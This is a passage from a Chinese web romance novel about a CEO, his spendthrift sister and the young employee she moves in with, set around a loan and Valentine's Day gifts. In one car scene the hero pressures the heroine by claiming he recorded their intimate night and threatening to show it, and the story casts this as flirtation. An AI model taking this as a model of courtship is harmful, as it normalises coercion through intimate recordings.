燕北北在旁听得都惊了,瞪大眼睛正准备帮她回绝,可肖瑜却有点不好意思地说道,“菲菲,亲姐妹明算账,你一次借这么多的话,要给我写欠条的。”
“没问题!”顾菲抱住肖瑜在她脸上狠狠亲了一口,起身扬眉吐气地朝顾程阳台的方向挥挥拳,“半年就半年,谁怕谁!”
两个富家女视金钱如粪土的豪爽,让燕北北半晌都没回过神来。
见顾菲兴高采烈就去屋里拿包找卡,顺便上厕所,她连忙把肖瑜拽过来,悄声道,“五十万,说借就借?你家里再有钱也不是大风吹来的,再说你半年后都不在这儿了,脑子呢?”
肖瑜被她一提醒,这才想起来还有实习后就回家这一说,她抿了抿唇,很踌躇地说道,“可菲菲是因为我才被惩罚的。而且她性格这么直爽,应该不会欠钱不还吧?”
“这不是性格问题,是能力问题。”都是小姐妹,可燕北北始终跟肖瑜更亲密,趁着顾菲不在,飞快地小声说道,“菲菲人是不错,但她可不像你。这要不是家里供着,哪里来的收入?顾总明说了不让别人借钱给她,应该就是想治治她。你可好,非得跟人对着干。那将来顾总不帮她还,这钱不就打水漂了吗?”
正说着话,顾菲已经高高兴兴地从厕所出来,从皮包里拿出了银行卡。
肖瑜看着她天真的笑颜,握了下燕北北的手,弯起了唇角,“没关系的。她不像是会欠人东西的女孩子,我相信她会想办法的。”
燕北北便没再劝,只是难免再次感慨离开校园后,彼此间的差异越来越大。
*
顾程刚把车停到车库,就接到了门卫的电话,说是要他盯着的那个小姑娘,正和顾菲一起在门口送另一个小姑娘回家,但是她还穿着睡衣,看样子和顾菲两人没有出门的意思,只在那里陪着聊天等车。
不用想,他就知道她俩是在送燕北北。
昨晚睡得不好,今儿又持续在外一整天,傍晚更是把浑身那股难受劲儿都释放在了网球场上,顾程终于得到了有点倦怠的理想状态。
他又在车里歇了会儿,拿起手机正打算问门卫,那俩小东西上楼了没。结果看到一条未读短信,一点开,直接就把他给气笑了。
顾菲平时只管刷卡,根本没操心过银行的事情,她自己名下唯一一张被清了零的储蓄卡,网银和短信通知绑的还是顾程的手机号。
想不到他顾程如今说话这么没分量,连绝交的话都放出来了,还有人敢借钱给顾菲,还一借就是五十万,不用还似的。
他冷了眉打开网银去看汇款人信息。看到‘肖瑜’两个字时,折腾了他两天的难受劲儿又翻上来,他喉结动了一下,闭上眼又缓缓睁开,觉得脑子有点疼。
35. 第 35 章
第三十五章
顾菲又有了钱,猖狂得不行。
打了电话给顾程,都不等顾程先说话,她就横眉冷眼狠狠数落了他一番。骂他衣冠禽兽,平时一本正经,捡了喝醉的女孩子却狼性大发;又骂他以为自己在泽城一手遮天,把亲妹妹当过街老鼠欺负;末了趾高气昂地宣布晚上要夜不归宿,就睡肖瑜这儿了!
肖瑜热好牛奶过来,瞅着她豪气冲天的样子,伸手拉拉她的衣角,小声劝道,“你还是不要太过分。”
毕竟那钱将来还是得顾程还。
顾程听了顾菲一顿吼,居然离奇地在那边笑了笑,就跟顾菲说了一句话,“所以就是不能对你心软,以后一天五百也省了,自生自灭。”
“我怕你?我……”
电话挂了。
顾菲捋了捋袖子,冲着楼上黑漆巴乌的阳台竖了个中指,舒坦地坐去沙发,“患难见真情,没想到我那么一大堆朋友,认识你跟北北最晚,反而最真心。北北没什么钱,不然她肯定也会帮我的。”
“嗯。”肖瑜点了下头,把牛奶递给她,一边喝,一边有点不放心地问道,“你确定晚上住我这里可以吗?上次你来过夜,顾总……看起来很生气。”
“上次不一样,上次他以为你家里有不三不四的男人。”顾菲摇摇头,很轻松地说道,“我也不知道他那时怎么会那么想。嗳肖瑜,差点忘了跟你说,其实周五晚上,我哥原本是想来找你商量个事儿的。他跟我爸妈说,你家教好,特别乖,想让我多跟你接触接触,好好跟你学学。所以那天他其实是想问问你,有没有可能让我跟你分租这套房,甚至他出全租都可以。结果……没找到你,才会找到我头上,才会……”
顾菲说着说着声音就低了下去,多少还是有点内疚。
肖瑜的脸也再度烧了起来,她握着牛奶杯想了想,点点头,“其实我无所谓的,我妈妈原本也想有个人能陪陪我。要是你家里同意的话,我不介意你过来一起住。”
“真的?!”顾菲抱住肖瑜就照她的脸亲了一口,激动地紧紧抱住她,“你是我的福星啊小鱼儿,活该我章章追着你的小说看。明天我就回家收拾行李,你等着,回来的时候,我买个最新款的包给你当谢礼!”
“千万别。”肖瑜被她抱得快要喘不过气,一边笑,一边搡着她道,“借我的钱买礼物送我,你这么不会算账,这点钱过不了两个月就要花完了。时间不早了,我要敷面膜,来吗?”
“嗯嗯嗯。”
*
从阳台回到卧室,已经差不多过去了半个小时。
顾程把书放去床头柜,又看一遍下周的行程安排,伸手关了灯。
床单已经换新,今天他也把自己累得够呛,可一躺下去,总还是觉得躲不过那股奶香奶香的味儿,扰得人翻来覆去睡不安稳。
周六见完沈欣婷,他就回到了泽鼎,原本是打算直接问问肖瑜,准备什么时候还床单,顺便再好好教育教育她。可看到她失魂落魄坐在阳台上发呆的时候,他到底还是没落井下石,怕逼得紧了再把小姑娘给吓出个好歹。
可就这么一个心软,到了晚上,他才发现自己整个人都有点不大对劲。
睡不着,翻来覆去地睡不着。软糯糯的哄,娇娇的笑,一直在耳边绕,偏眼前是空的,身边是空的,掌心也是空的,燥得很。
就像现在,明明已经用全天的运动释放了无处安放的精力,可看到顾菲抱住肖瑜亲,肖瑜缩着脖子躲着笑的时候,他还是忍不住燥意,到现在都有点稳不下来。
有些事一旦开始,食髓知味,就会停不下来。他果然是到了该结婚的年纪。
*
周一上班的时候,总裁办的秘书们罕见地发现,连大雪天穿羽绒服都裸着脖子的顾总,居然戴了条围巾。黑色大衣,挺拔的身型,因着围巾的攀绕,越发衬得他清贵内敛,禁欲感十足。
这一周,华驰这边的行程都很满。
晨时跟各部门负责人和所有厂区老总开完视频会议,顾程和安祈攸便带了人,直接赶往东区跟电视台的人汇合,开始录制几个生产线转型前的宣传片。
所有工作都在有条不紊地进行,唯一的小插曲就是晚餐前,顾菲气急败坏的电话。
她给顾程连打了五六个,顾程全部拒接。顾菲无奈又打给安祈攸,安祈攸想起顾程的朋友圈,一脸蛋疼地在包间前把他拉住,小声请示,“你那宝贝妹妹或许真有急事呢?”
顾程点点头,“你接。”
“……”安祈攸深吁一口气,翻着眼看天花板,“喂,菲……”
“我哥那个混蛋躲我是吧?家里密码换了,人不在公司,连电话都不敢接是吧!让他把钱还给我!那是我借别人的钱,是我顾菲凭本事借来的!快还给我!”
安祈攸看向顾程。
酒店暖气很足,顾程老神在在地伸手松了松围巾,但没摘。
安祈攸无奈极了,捂住手机,问他,“我怎么说?”
“凭本事借的,就凭本事还。”顾程一边说,一边抬脚往里走,“找我做什么。”
“……”安祈攸简直要给这俩兄妹跪了,走开两步,劝顾菲,“菲菲,你哥不是不接你电话,是今天有事要应酬。你听我说,先回家,乖乖的,别又乱跑惹得他不高兴。待会儿得空我劝劝他,凡事都有商量。行不行?”
“这混蛋!他把我借别人的钱直接转他自己卡上了。”顾菲急地哭腔都出来了,“小安哥,那是我借的,我一分都还没花呢!”
安祈攸心说,你哥比这更混蛋的时候多着呢,只是你不知道而已!不过嘴上还是好言劝着,“别急,等他心情好了我劝劝。你现在着急巴荒地骂他,等见了面还是你吃亏。菲菲,你听话,先回家,或者跟你爸妈先告个状。”
“我爸妈被他灌了迷魂汤,压根就不搭理我!”顾菲站在顾程的办公室里,气得拿脚踹桌子,等那边安祈攸又不咸不淡劝几句,她心知一时半会不可能跟顾程说上话,挂了电话,又气又急,坐在沙发上哭了起来。
刘娜站在一边,看着这位衣着光鲜的小公主哭得稀
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里哗啦,十分无奈地给顾程发了个信息:【顾总,菲菲哭得厉害。您要不还是打电话劝劝?】
几分钟后,顾程回了信息:【打电话让肖瑜过去把她带走。喜欢做好人,那就做到底。】
刘娜抬头看一眼挂钟,叹口气给肖瑜打了个电话。
顾总跟肖瑜,看来已经板上钉钉了。自打那天顾总大晚上找她要完燕北北的地址,第二天听到公司里的传言,她就很有眼力价地记下了肖瑜的号码,果然随时用得到。
肖瑜接到电话的时候,已经回了家,正打算下楼吃晚饭。听说顾菲在顾程办公室里哭得伤心欲绝,她先是再三跟刘娜确认了顾程不在,才满腹疑问赶了过去。
顾菲见到她,满面羞愧,连哭声都变小了,像只可怜的小奶猫,“对不起,我……肖瑜,我会想办法的,我明天就去卖车。”
“为什么要卖车?”肖瑜拿起她的皮包,挽起她跟刘娜道了别,不解地问道,“出什么事了?你到底怎么了?”
*
酒店里觥筹交错,负责专访的主持人莫少玲,一边给顾程敬酒,一边眉目弯弯看向他的围巾,“顾总,这围巾是女朋友送的吧?是不是女朋友管得严,摘下一分钟都得受罚啊?”
屋里很暖,莫少玲和另外几个女同事穿着薄衫都觉得有点热,那几个男的有的都卷了袖子、解了领口。偏顾程喝了整晚的酒还戴着围巾,也难怪惹来众人好奇的目光。
安祈攸也噙着坏笑去看顾程。他一早就调侃过,只是顾程压根没搭理他。
顾程也确实被捂得额角都有了细汗,伸手慢吞吞摘了围巾,无奈地笑道,“今天下厂区,怕影响不好。照这个进度,周五晚上播没问题吧?”
被围巾捂得发红的脖颈上,布满了嚣张的吻痕,清晰且暧昧。
在场电视台那些人都呆了一下,有两个女的耳根子都红了。安祈攸更是惊得瞪大了双眼,唇角动了几下,强忍着没在此刻多问。
“嗯……”莫少玲哪料得到一向清誉在外的顾程还有这一面,有点尴尬地咳了一声,笑道,“顾总放心,周五肯定能上。晚间热播档的冠名,也同时上。”
“多谢。”顾程抬手举起酒杯,“家里还有事,待会儿你们要是想去哪里接着玩,算我的。”
*
最近几天的生活,太不平静。肖瑜已经连续几天都不能静下心来写文。
终于安抚好顾菲,安排她在北北之前那屋睡下,她一边敷面膜,一边抱起电脑坐在床上回顾前文的内容。
手机叮的一声响,她有些奇怪这么晚还有人给她发微信,拿起来一看,隔着凉凉的面膜,脸颊都有点烧。
是前段时间因为工作需要,在赵姐要求下,删了又重新加回来的顾程:【菲菲睡了没有?】
肖瑜平复了一下心情,回道:【她今天很难过,哭了很久,刚睡下。】
顾程:【你上来一下。】
肖瑜的身体一下子就绷了起来:【我不去,我也要睡了。】
顾程:【那我下去。】
36. 第 36 章
第三十六章
肖瑜连忙打语音给他,好半天,顾程才接了语音,声音淡淡的,“开门,出来。我不进去。”
她松了口气,起身对着穿衣镜好好照了一下,发现睡衣领口处还是看得到半个草莓印,连忙又在脖子上裹了围巾,这才拿掉面膜搓搓脸,走出了卧室。
门外的小夜灯照得走廊里暖暖的。
肖瑜打开门就闻到一股淡淡的酒气,看到顾程手中的食盒和M家黑森林,她更是有点纳闷。
“菲菲肯定气得吃不下饭,这是给她带的宵夜,防止她半夜饿醒了起来找吃的。蛋糕是给你的。”顾程已经换了睡衣,他低头看一眼她脖子上的围巾,勾了下唇角,“我又没把你弄得满脖子都是,你裹个围巾做什么?”
肖瑜的脸一下又烧了起来,低下头,声若细蚊地应道,“对不起,我那天,我不是故意的。”
那晚过后,连续几天都没有见过他,她原本想着如果能这样保持着没有交集的生活,醉酒后的荒唐还是很容易淡忘的。她也想过,万一偶遇,只要他别提,她就当没发生过。毕竟主动对人动手动嘴的是她,而不是顾程,说破了天,错的都是她。
“以后还去夜店吗?”
“不去了。”肖瑜低着头应了,想了想又轻声说道,“菲菲也说不再去了,她……其实她也知道自己以前太爱玩,总是惹家里担心,是不对的。她这两天挺难过的,你能不能……跟她好好讲讲道理?”
“讲道理要是有用,我又怎么舍得治她。”顾程声音很缓,似乎没有立刻离开的意思,“之前就是一直心软,惹什么祸都有人善后,让她越来越不知道天高地厚。这次差点把你带歪不说,才两天就背了一屁股债。再放任下去,指不定还会做出什么惊天动地的事。”
肖瑜听他这么说,也不准备再劝了。毕竟家家情况不同,她虽觉得顾菲确实有点爱玩,却并不觉得她没有底线,但到底她们之间相处时日还很短,了解尚浅。更何况她自己都还刚荒唐完,也确实没有立场和资格多说什么。
顾程见她不说话,又说道,“如果……你不介意的话,我想让菲菲跟你住段时间。你现在一个人住,估计你家里知道了也不放心。她跟你在一起,相互有个照应。离我很近,又不是直接住我那里受限制,她应该会很开心自己有脱离家人,学着独立的机会。我想让她学学你,乖一点。可以吗?”
肖瑜点了点头,可那句‘乖一点’,让她心头漾起几分异样的感觉,不自禁又抬头看向顾程,却因那双酷似当日以为一场春梦的温柔眼眸,慌地又低下头避开了他的目光。
她眼睛里的慌乱和羞涩,也让顾程脑子里再现了些旖旎的画面,他的视线在她身上扫了扫,把手中的餐盒和蛋糕递过去,“进去吧。以后不要再咬脖子,工作场合多少有点尴尬。”
*
顾菲果然半夜被饿醒,一点不客气地晃醒了肖瑜,问她有没有留晚饭给她。
肖瑜临睡前因为顾程那句莫名其妙、甚至还有点叮嘱意味的话,原本就辗转得睡不好,被顾菲晃醒后,彻底失了眠。
凌晨三四点,顾菲吃完饭心满意足地倒在沙发上,肖瑜也挂着黑眼圈陪着她,听她碎碎念,“我哥就这德性,明明心里挂念我挂念得不行,还非得变着法子折磨我,想让我屈服。但这次他实在太过分了,别想因为一顿饭就让我原谅他。”
“可我觉得你是斗不过他的。”肖瑜想起顾程直接让顾菲背了一身空债的做法,就觉得好笑又无语,“不过他确实很疼你,你乖一阵子,估计就真的原谅你了。他还拿了蛋糕,要来点吗?”
“嗯,来一块吧。”顾菲很爽快地点了头,却没有起身去拿蛋糕的意思。
肖瑜看她一眼,起身边拆了盒子切蛋糕,边思忖着说道,“菲菲,如果你只是偶尔来做客,我会以主人的身份招待你。不过我们以后要合住,都是家里的主人,有些事情是需要提前讲清楚的。”
“好啊。”顾菲从来没有在外独居或者分租的经历,闻言很认真地点着头,“你说,我也喜欢凡事先把话说清楚。”
肖瑜笑了笑,切完蛋糕递给她,又坐了下来,“明天我们都想想,然后定个约法三章就好。我现在能想到的,就是家务需要分担,还有就是如果要带朋友回来玩,提前告诉一下对方,以示尊重。”
“我现在除了你和北北,别的都不是朋友,谁都不稀罕。”顾菲还在生昔日那群狐朋狗友的气,拿叉子戳了戳蛋糕才继续道,“家务?你没有请阿姨吗?”
“没有。”肖瑜一听就知道这位大小姐是真的大小姐脾气,其实光看她大半夜会把自己摇起来要吃的就知道,平素确实是任性惯了。她叹了口气,又想了想,才说道,“要是想独立,起码得有基本的生存技能啊。我在学校的时候,也跟室友分担寝室责任的。你没有吗?”
“啊?”顾菲眉眼一沉,嘟囔道,“我哪里有机会住寝室啊,我这辈子从幼儿园开始就在家里住,车接车送的。肖瑜,你不会还要我做饭吧?我可不会。”
“做饭……”肖瑜噎了一下,脸有点红,“做饭我也不会,不过我会煮泡面,也会煮鸡蛋。早上和中午我都在单位吃,晚上我们出去吃就好。”
“那我怎么办啊?我没钱了……”顾菲郁闷地抱着脑袋,蛋糕都吃不进去了,“都怪我哥,他……”她正说着,眼睛忽然又亮了亮,“我哥会做饭,我早晚餐可以去他那里蹭吃的,午饭对付一下吃点面包,他不舍得真把我饿死的。那除了做饭,还有别的家务吗?”
肖瑜开始觉得有点发愁了,她抬手指指桌子上顾菲吃完剩下的盘子碗,还有切开的蛋糕,“有。你要洗自己的衣服,还有收拾自己用过的东西。我们轮流打扫家里的卫生。”
“啊?!”顾菲也开始有点发愁了,眉心挤成了一团,“轮到我的时候,我能请阿姨吗?”
肖瑜同情地看她一眼。
顾菲又蔫了,嘟囔着去翻钱包,“我……我恨我哥!”
*
周二是两个女孩子正式同居的第一天。
肖瑜去上班的时候,顾菲还在撅着屁股睡。
她也不知道顾菲会睡到几点,又怕她起来因为不熟悉家里的布置找不到吃的,便把零食和面包都放在餐桌上,又留了张便签,提醒她冰箱里有牛奶和果汁,这才去了单位。
昨晚顾程最后那句话,搅得她心里有点乱。后来仔细想想,可能是自己醉后那副主动的样子,让他误会了什么,他才会意有所指地暗示还有‘以后’。
被当做随便的女孩子,并不是什么令人愉悦的事情。但好在情人节会有陈楚来客串,到时候她有正牌男朋友的事情在公司传开,以顾程那样的身份和个性,想来就算以为她很随便,也不会再有别的想法了。
下班前,肖瑜打了电话问顾菲晚饭是想出来吃,还是带回去。顾菲张口就要吃东悦酒店的澳龙刺身,肖瑜噎了一下,道,“你给你哥打个电话,让他带你去吧。”
“我不要跟他低头。”顾菲趾高气扬地说,“小鱼儿,你就说你想吃,我哥肯定不好意思拒绝。”
“我不想吃。”肖瑜巴不得少跟顾程接触,一口回绝,“我要吃干炒牛河,你吃的话就带一份给你?”
“……好吧。”人穷志短,顾菲也没得选,蔫了吧唧地应道,“不要豆芽不要葱花不要鸡蛋不要酱油。”
肖瑜觉得脑子有点疼,“你确定?那还有味道吗?”
“可以的话……”顾菲很没底气地问道,“能加点鲍鱼片吗?”
“……”
好在顾菲嘴巴虽然叼,一整个白天在家也没有把屋里弄得一团乱。吃过晚饭肖瑜洗了澡打算写文,刚出浴室就听到顾菲卧室里传出惊天动地的喊声,又急又怒,“你是不是瞎啊!那么多怪打我,你都不会拉一下吗?!猪都比你聪明!”
肖瑜深深深呼吸了一下,坐到阳台挂上耳机,下意识抬头看了眼顾程家的方向。
或许,可能,顾程根本不是觉得她乖才让顾菲来合住,而是为了自我解脱。她现在真有点不确定,到底能不能跟顾菲住
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上半年了。
*
十点的时候,又有人送宵夜过来,却不是顾程,而是安祈攸。
“集团那边有点事,顾总今晚回家了,不过来。”
“好。”肖瑜接过食盒点点头,”我会告诉菲菲的。”
“这不是跟菲菲交代,是顾总让我专门交代你的。”安祈攸瞥一眼她脖子上的围巾,轻咳一声,“他不是出去鬼混,是在家跟老爷子商量点事情。”
肖瑜愣了一下,脸颊登时涨得通红,话都说不利索了,“我,为什么跟我交代?我,我不用,他不用跟我交代的。”
“呵。”安祈攸看着她那手足无措的样子,到底忍不住笑出声来,朝她点点头,“话和宵夜都带到了,我回去了。你们也早点休息,菲菲可不是个省油的灯,安分不了几天。别让她知道顾总今晚不在这儿,不然指不定又要忽悠你去哪儿野。有事随时跟顾总联系,晚安。”
他说完就转身离开,肖瑜却好半天都没回过神来。
哪里不对劲,很不对劲。
难道顾程还真因为那晚的事,打算包养她一段时日?
可小说里包养别人,都是送钱送车送包送卡。他不仅黑了自己借给顾菲的钱,还把亲妹妹都丢给她照顾,而且至今也只是顺手送过她一个蛋糕而已,瞧着也不像有包养她的意思啊。那又为什么连一夜不归,都要安祈攸特意过来交代一声?
肖瑜郁闷极了。
如果人家明确表示了什么,她还能直接回绝。可如今这种说不清道不明的情况,却让她完全不知该如何反应。万一一切真的只是她因为没什么经验,想多了呢?
看来晚上又要睡不好了。
*
第二日一早来到单位,被前台叫住去拿礼物时,肖瑜更是整个人都不好了。
乌红的玫瑰点缀着满天星,硕大的一捧,快要把她上半身都给埋了。而被锦缎礼盒包裹的礼物,虽不清楚内里详情,光从外包装上繁杂的饰纹跟沉甸甸的重量,就让人猜得出价值不菲。
原本今日为了配合陈楚,她从发型、妆容到着装,都比平日里更加用心。如今抱着这快要把她压弯腰的鲜花和礼盒走向电梯,路上遇到的每个人更是都肆无忌惮地朝她行注目礼。待她保持着一张淡淡的笑颜来到办公室坐下时,后背都尴尬地有点发潮。
“哇!肖瑜,情人节礼物啊?”第一个惊呼的是赵姐。她这么一开口,已经来了办公室的几个人,都翘起头看向肖瑜,待看到那花色深重到入目就觉情深的玫瑰时,神色间全是艳羡。
肖瑜放缓呼吸喘了口气,红着脸点了点头,垂下的眼眸里略有不安。
陈楚的家境很普通,就算给自己女朋友买玫瑰,也都是几朵意思意思有个仪式感,何况买给她的只是拿来做戏的道具。所以肖瑜用脚指头想,也知道这绝对不是他的手笔。更有可能,是那个没准误以为自己要上赶着送的顶头上司。
满天星的花语,是勿忘我。
他们两个之间,可以被拿来‘勿忘’的,也就那么回事了。
想到这里,肖瑜没有去拆那个看起来就很珍贵的礼盒,只是把它小心地放在了办公桌最下层的抽屉里,又请示了赵姐,将花放在了办公室里空置的一角。因为那花束实在太大,一整张办公桌几乎都被占全了。
*
“看不出来啊,你这是不动则已,一动则明目张胆,毫无顾忌。”
安祈攸陪着顾程忙了一上午,回到公司刚进茶水间转了一圈,就又一阵风似的出现在了他眼前,“一百零一朵玫瑰加复古礼盒,重点还直接在早高峰前送到单位,生怕别人看不见似的!连你身边那几个秘书都绷不住在议论了。嗳,原来你追女孩子攻势这么猛?怪不得才几天就把小姑娘骗得七荤八素的,之前还真是看错了你。”
顾程的视线从电脑屏幕挪向他的脸,“什么意思?”
“装什么装,肖瑜的情人节礼物啊。”安祈攸埋汰一句,见顾程闻言皱起了眉,他一怔,清了下嗓子,“不会……不是你吧?”
37. 第 37 章
第三十七章
“今天情人节?”顾程拿鼠标滑向日历,抬了下眉,“还真是。”
“那这……”安祈攸的笑容一下收敛了下去,有些尴尬地说道,“其实也没什么。小姑娘那么漂亮,身边有几个追求者,很正常。”
顾程又看他一眼,回头继续看向屏幕,“谁送的?”
安祈攸愣了一下,摇摇头,“大家都说是你送的。”
“你现在知道了,不是我。”顾程的手指点了几下鼠标,噼里啪啦地响,“所以,谁送的?”
“那……”安祈攸小心翼翼地问,“我去查查?”
顾程抬手扯了扯围巾,“要不你坐这儿等着,我去查?”
“……半小时后得去拍南区的……”
“查完了再去。”
*
安祈攸一脸菜色来到前台,发誓再也不要多嘴过问某人的感情生活。
这个顾程,平时素得像张纸,开起荤来简直恋爱脑,活该二十七才知道女人的滋味!
他刚才已经打了电话,可前台上说,花和礼物是一大早有人送过来的,不是哪家快递,也没有任何字据。唯一的记录,就是那个人的名字,‘辛艾’,还有一个其实是空号的手机号码。至于那个人的长相,三四十岁的中年女人,很普通,连一个特殊的记忆点都没有。
而且据说肖瑜来拿礼物的时候,也对这个人的名字一头雾水,反复确认了好几遍,确定的确是送给自己的,才把东西拿走。
安祈攸此刻也嗅出几分不寻常,可人家摆明了不想透露身份,就一个连肖瑜自己都不认识的名字和一个空号,要他一时半会儿怎么查。
“您好,我想找一下财务科的肖瑜。”
安祈攸正想得脑仁疼,身后一声客气的男声,让他连忙转了头。可这一看,他连脑壳都开始有点抽抽。
男人很年轻,一身的学生气,浓眉大眼长相算是端正,可西装革履皮鞋擦得锃亮,要不是手上拿着的那几朵玫瑰,安祈攸都想问一句‘你是不是来面试的’。
前台接待看一眼安祈攸,见他点了下头,才微笑着说道,“麻烦您过来登记一下信息,我现在给她打电话。”
“我可以直接去办公室找她吗?”陈楚也看了眼不住打量自己的安祈攸,接过纸笔开始登记信息,“我是她男朋友。前段时间太忙,一直没时间陪她,今天情人节,想给她一个惊喜。”
前台接待愣了一下,又看向安祈攸。
安祈攸朝她使了个眼色,转身走开几步打给了顾程,“肖瑜的男朋友现在在前台,带了玫瑰说是要给她一个惊喜。”
“知道了。”顾程的声音没什么情绪,“去南区吧。你去拿车,前门等我。”
那边前台还在跟陈楚解释,“陈先生,现在是工作时间,您直接上去不太合适。我现在给肖瑜打电话,让她过来,您请稍等。”
*
寒假离校至今,肖瑜和陈楚还是第一次见面。
远远见到肖瑜长发微卷,高领衬衣包臀裙,扬着妆容精致的笑脸朝自己打起招呼,陈楚愣了一下,连忙大步上前,把花递了过去,“才多久没见啊,你这变化也太大了。”
肖瑜在学校的时候,素面朝天衣裙宽松的时候居多,反正他是从未见她穿过这种彰显身材的半短套裙,所以还真是不知道,一直被姜昊狠心拒绝的她,除了甜美的五官,竟还这么有料。
他不禁在心里叹息一声,颇替姜昊惋惜。
肖瑜接过花来也上下打量着他,笑道,“你变化也很大,不是在准备考研吗?怎么西装革履的?”
“今儿不是来给女朋友撑场面吗?想着得正式一些。”陈楚挠了挠头,瞥一眼远远盯着他俩看的那几个前台,左右看看,小声道,“我觉得你们这些前台看起来怪怪的,刚才还有个男人也在这儿,一直盯着我看。嗳,你们单位谁骚扰你啊?不行哥几个找时间过来揍他一顿。”
“呵。”肖瑜被他逗得直笑,摇摇头,上前一步离他稍微近点,也小声说道,“没有人骚扰我,就是单位里有些谣言。”她说着,咬了下唇,抬起眼睛,很期待地看着陈楚,“姜昊还是没有联系过你们吗?”
“他现在应该挺忙的吧,毕竟一切都要重新开始。”陈楚的眼神闪烁了一下,不自在地挪开了视线,跟着,却又皱了眉道,“怎么又来一个盯着我看的?我靠,这男人看起来有点眼熟……”
肖瑜顺着他的目光看过去,顾程正靠在前台看着他俩,见她看过来,朝她扬了下手机。
肖瑜说不出地就有点紧张。她又回过头来看向陈楚,故作镇定,笑得更甜,“他是我们大老板,寒假前在时光见过一次。你记性可真好。”
陈楚这才恍然大悟地又看了顾程一眼,低头小声道,“他就是顾程啊!我知道他,前几天新闻里还看到过,今年杰出青年企业家颁奖的时……”
他还在说,肖瑜的手机震了几下。她克制着不去理会,不想手机持续震动,丝毫没有停下的意思。无奈她只好低头瞄了一眼,看到数条微信信息,刚刚解锁点进去,她就立刻按了黑屏,整个人被雷劈一般愣在那里,连指尖都开始颤抖。
“你怎么了?”陈楚也发现了她的异常,不解地问道,“怎么突然这么慌?”
顾程此时已信步走向了大厅前门,经过他俩身侧时,顿住脚步‘呵’了一声。凉凉的,有少许讥诮。
肖瑜望着他的背影,隔着粉底,脸都烧得要滴血,她把玫瑰塞回陈楚怀里,急促地说道,“谢谢你过来,你回去吧。我还有事,有工作。顾总,顾程!你别走!你等等我!”
她一边说,一边快步追了过去。可顾程闻声脚步迈得更急,丝毫没有停顿的意思,几步下了台阶拉开早已等在门前的车门,径直坐了进去。
肖瑜气喘吁吁追过来,也拉开车门,胸膛剧烈起伏地瞪着他。
安祈攸看了眼后视镜,朝顾程说道,“顾总,您往里坐坐。”
*
GLE绝尘而去。
几个前台都沉默地看着那位手捧玫瑰花被晾在大厅的年轻男人。
待陈楚一脸莫名其妙拿着花束离开,几个女孩子才兴奋地凑在一处,热烈讨论起来。
老总就是过来看了一眼,话都没说一句,肖瑜就撒丫子追了过去认错。
家人们谁懂啊,他们家老总这战斗力也太强悍了!
*
车子行驶在滚滚车流中,肖瑜抬眼看了看安祈攸,转头压抑地朝顾程说道,“删了。”
“上班时间,不谈私事。”顾程半垂着眼,伸手扯了下被肖瑜压到的大衣边角,“别坐我衣服上。”
“你删了!”肖瑜都快被他这副正经的无赖样气哭了,“你到底想干吗?”
“我不想干嘛,只是保护自己的手段。”顾程瞥她一眼,又看了眼安祈攸,“被你逼着做了那种事,我当然要留些证据。不然万一被你反咬一口,我的名声不要了?”
“我喝醉了。”肖瑜连声音都开始发颤,“我也跟你道过歉了。你还要我怎么做?”
“喝醉了就可以为所欲为吗?”顾程好笑地看着她,松开了去拽大衣的手,“现在我不想提这件事,下班后再说。不然我就放动态的让你看。”
“你……”肖瑜不可置信地瞪大了眼睛,“你,你还录了……”
顾
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程丝毫没有否认,“全程。”
肖瑜沉默了下来。
*
南区停车场里,电视台的采访车已经到位。跟其他几个厂区不同的是,莫少玲他们刚一下车,就被几个满头银发的老技工围住,不等发问已经大着嗓门开始声讨公司近期的决定。
“记者同志,你们可算来了,我们的心里话,你们可一定得播出来。”为首的赵老痛心疾首地说道,“改革,我们支持。可是几代人的手艺,哪里是机器能沿袭的?校准标准,技术测试,那些机器只懂数字,根本不可能像我们人一样真正用脑子思考,预判风险。
“顾总年轻,一腔热血,可是没有我们这些老技工呕心沥血这么些年,华驰早就不行了,他现在一门心思要废了南区,之前要把这里搞成什么高产能环保试点,现在干脆准备改成废旧轮胎回收开发基地。记者同志,我们心里苦啊,这干了一辈子了,难道老了老了死之前还要被改成收破烂的吗?”
“是啊。这么一改,多少工人要下岗?这可都是家里的顶梁柱啊。”
“就是。记者同志,你们可得把我们的声音传达给上头啊!”
饶是顾程提前跟莫少玲交代过,这阵仗也让她有些头疼。她一脸职业化的微笑,朝几个老人说道,“请大家放心,这次录制保证传递真实的声音。但我们的设备还没就位,请大家耐心等待,马上就会进行采访。谢谢配合。”
她正劝慰着这群激动的老人,远远看到顾程的车开了进来,总算是舒了一口气。
而人群中也立刻走出一个人来,是擦着汗的胡厂长,站在几个老技工面前,为难又无奈地挥着手喊道,“大家别激动,有话好好说。顾总一定会给大家一个说法的。”
*
“胡厂长不去演戏都可惜了,瞧这时间表情卡得准的,拍片绝对不NG。”安祈攸一边停车,一边冷笑着道,“顾总,先去看记录还是先拍?”
“先拍。”顾程也冷冷盯着不远处的人群,扯了下唇角,“他们想闹,那就闹个够。区区四年,就忘了当初是怎么一把鼻涕一把泪求我的。你先过去帮莫少玲他们控制一下场面,我马上过来。”
“好。”
*
安祈攸过去,直接代表了顾程,群情激奋的老技工们也没了刚才那股告御状的愤慨。
顾程待那群人在安祈攸的招呼下,跟着电视台的工作人员去了办公楼,这才回过头来看向一路眸色黯淡的肖瑜,“当着小安的面,我不可能跟你讨论细节。你乖乖在车里等我,这边的事情忙完,我们再好好谈。”
肖瑜的十指攥了攥,没有说话。
她没有应对过这么混的男人,能想到的除了尽快离职回家外,再没有别的办法。她也不相信这个卑鄙到录那种视频的男人,真的会坐下来跟她好好谈。
“这里比较偏僻,你千万不要想着下车一个人乱跑。”顾程见她不吭声,目光在她着了丝袜的双腿上顿了顿,又开始伸手扯自己被她坐住的大衣,“乡郊荒野的,你喊破喉咙都没人听得到。可不是每个男人都能跟我一样克制。”
那一句‘克制’,不禁令肖瑜想起了当日晨起时满地的狼藉。她咬了下唇,嫌恶地看了眼这卑鄙又无耻的男人。
顾程被她这目光看得一皱眉,抬手就托起她的屁/股,拉过衣角。可小姑娘又惊又怕的神色,到底还是让他松了神色,意味不明地看她一眼,“床单没洗是吧?要不然怎么还不知道那是番茄酱?乖乖的,下班再说。”
他说完,拉开车门走了下去。
肖瑜愣在车里眨了眨眼,好半天,才连忙转头去看那个阔步离开的身影。
番茄酱?!
38. 第 38 章
第三十八章
南区的录制放在最后,因为这里是厂区转型唯一的阻力。
顾程过来之后一直阴着脸。那些先前还扯着嗓门倚老卖老的技工,因着他与平日相见时截然不同的态度,面面相觑,谁也没有勇气再做出头鸟。
